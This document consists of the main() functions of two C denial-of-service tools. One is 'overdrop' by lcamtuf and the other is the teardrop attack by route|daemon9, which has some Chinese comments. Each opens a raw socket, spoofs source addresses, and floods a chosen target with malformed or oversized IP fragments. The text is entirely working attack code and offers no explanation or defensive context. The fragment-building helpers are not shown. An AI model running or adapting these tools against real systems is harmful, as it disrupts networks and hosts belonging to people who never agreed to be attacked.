int main(int argc, char **argv) { int one=1,count=0,i,rip_sock; u_long src_ip=0,dst_ip=0; u_short src_prt=0,dst_prt=0; struct in_addr addr; fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]\n\n"); if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) { perror("IP_HDRINCL"); exit(1); } if (argc < 2) usage(argv[0]); if (!(dst_ip=name_resolve(argv[1]))) { fprintf(stderr,"Can't resolve destination address.\n"); exit(1); } while ((i=getopt(argc,argv,"s:n:"))!=EOF) { switch (i) { case 'n': count = atoi(optarg); break; case 's': if (!(src_ip=name_resolve(optarg))) { fprintf(stderr,"Can't resolve source address.\n"); exit(1); } break; default: usage(argv[0]); break; } } srandom((unsigned)(time((time_t)0))); if (!count) count=COUNT; fprintf(stderr,"Sending oversized packets:\nFrom: "); if (!src_ip) fprintf(stderr," (random)"); else { addr.s_addr = src_ip; fprintf(stderr,"%15s",inet_ntoa(addr)); } addr.s_addr = dst_ip; fprintf(stderr,"\n To: %15s\n",inet_ntoa(addr)); fprintf(stderr," Amt: %5d\n",count); fprintf(stderr,"[ "); for (i=0;i<count;i++) { if (!src_ip) send_frags(rip_sock,rand(),dst_ip,rand(),rand()); else send_frags(rip_sock,src_ip,dst_ip,rand(),rand()); fprintf(stderr, "b00z "); usleep(500); } fprintf(stderr, "]\n"); return (0); }
int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; struct in_addr addr; fprintf(stderr, "teardrop route|daemon9\n\n"); //建SOCK_RAW if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } //由系统处理IP校验和。 if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) usage(argv[0]); if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { fprintf(stderr, "What the hell kind of IP address is that?\n"); exit(1); } while ((i = getopt(argc, argv, "s:t:n:")) != EOF) { switch (i) { case 's': /* source port (should be emphemeral) */ src_prt = (u_short)atoi(optarg); break; case 't': /* dest port (DNS, anyone?) */ dst_prt = (u_short)atoi(optarg); break; case 'n': /* number to send */ count = atoi(optarg); break; default : usage(argv[0]); break; /* NOTREACHED */ } } srandom((unsigned)(time((time_t)0))); if (!src_prt) src_prt = (random() % 0xffff); if (!dst_prt) dst_prt = (random() % 0xffff); if (!count) count = COUNT; fprintf(stderr, "Death on flaxen wings:\n"); addr.s_addr = src_ip; fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); addr.s_addr = dst_ip; fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); fprintf(stderr, " Amt: %5d\n", count); fprintf(stderr, "[ "); for (i = 0; i < count; i++) { send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); fprintf(stderr, "b00m "); usleep(500); } fprintf(stderr, "]\n"); return (0); }